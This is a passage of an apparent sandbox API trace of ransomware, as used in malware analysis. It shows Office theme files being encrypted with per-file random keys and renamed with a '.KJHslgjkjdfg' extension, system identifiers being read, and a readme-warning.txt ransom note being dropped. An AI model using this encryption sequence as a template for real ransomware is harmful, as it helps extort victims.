Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.707] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.707] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.707] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x3, lpOverlapped=0x0) returned 1 [0172.709] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.709] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.709] GetProcessHeap () returned 0x990000 [0172.709] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0172.709] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0172.709] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.709] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0172.710] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.710] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.710] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.710] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.710] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.710] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.710] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.710] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.710] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ad, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1ad, lpOverlapped=0x0) returned 1 [0172.710] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1b0, dwBufLen=0x1b0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1b0) returned 1 [0172.710] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.710] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1b0, lpOverlapped=0x0) returned 1 [0172.711] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.711] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.711] SetEndOfFile (hFile=0x12c) returned 1 [0172.713] GetProcessHeap () returned 0x990000 [0172.713] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0172.713] GetProcessHeap () returned 0x990000 [0172.713] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf.kjhslgjkjdfg")) returned 1 [0172.720] CloseHandle (hObject=0x12c) returned 1 [0172.720] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.720] GetProcessHeap () returned 0x990000 [0172.720] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.720] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.721] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.721] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.723] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.723] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.723] GetProcessHeap () returned 0x990000 [0172.723] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.723] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.723] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.723] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.723] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.723] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.724] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.724] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.724] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.724] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.724] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.724] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.724] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9f8, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x9f8, lpOverlapped=0x0) returned 1 [0172.724] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xa00, dwBufLen=0xa00 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xa00) returned 1 [0172.724] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.724] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xa00, lpOverlapped=0x0) returned 1 [0172.724] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.724] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.724] SetEndOfFile (hFile=0x12c) returned 1 [0172.727] GetProcessHeap () returned 0x990000 [0172.727] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.727] GetProcessHeap () returned 0x990000 [0172.727] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.727] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.728] CloseHandle (hObject=0x12c) returned 1 [0172.729] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.729] GetProcessHeap () returned 0x990000 [0172.729] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.729] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.729] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.729] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0172.731] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.731] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.732] GetProcessHeap () returned 0x990000 [0172.732] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.732] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.732] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.732] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.732] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.732] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.732] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.732] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.732] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.732] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.732] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.732] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.732] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4981, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x4981, lpOverlapped=0x0) returned 1 [0172.733] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4990, dwBufLen=0x4990 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4990) returned 1 [0172.734] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.734] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x4990, lpOverlapped=0x0) returned 1 [0172.734] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.734] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.734] SetEndOfFile (hFile=0x12c) returned 1 [0172.737] GetProcessHeap () returned 0x990000 [0172.737] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.737] GetProcessHeap () returned 0x990000 [0172.737] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.737] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.744] CloseHandle (hObject=0x12c) returned 1 [0172.744] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.744] GetProcessHeap () returned 0x990000 [0172.744] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.745] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.745] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0172.745] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.745] GetProcessHeap () returned 0x990000 [0172.745] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0172.745] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.745] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0172.745] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.745] GetProcessHeap () returned 0x990000 [0172.745] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0172.745] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.745] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0172.745] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.745] GetProcessHeap () returned 0x990000 [0172.745] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0172.745] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.745] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0172.746] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.746] GetProcessHeap () returned 0x990000 [0172.746] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.746] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.746] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0172.746] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.746] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0172.746] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0172.746] RegCloseKey (hKey=0x12c) returned 0x0 [0172.746] GetProcessHeap () returned 0x990000 [0172.746] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0172.746] GetProcessHeap () returned 0x990000 [0172.746] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.747] GetProcessHeap () returned 0x990000 [0172.747] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.747] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.747] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0172.747] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.747] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.747] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.747] GetProcessHeap () returned 0x990000 [0172.747] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.747] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.747] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.747] GetProcessHeap () returned 0x990000 [0172.747] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0172.748] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\readme-warning.txt") returned 78 [0172.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.748] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.750] CloseHandle (hObject=0x12c) returned 1 [0172.750] GetProcessHeap () returned 0x990000 [0172.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0172.750] GetProcessHeap () returned 0x990000 [0172.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0172.750] GetProcessHeap () returned 0x990000 [0172.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0172.750] GetProcessHeap () returned 0x990000 [0172.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.750] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0172.750] GetProcessHeap () returned 0x990000 [0172.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0172.750] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INDUST", cAlternateFileName="")) returned 1 [0172.751] GetProcessHeap () returned 0x990000 [0172.751] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b0940 [0172.751] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, 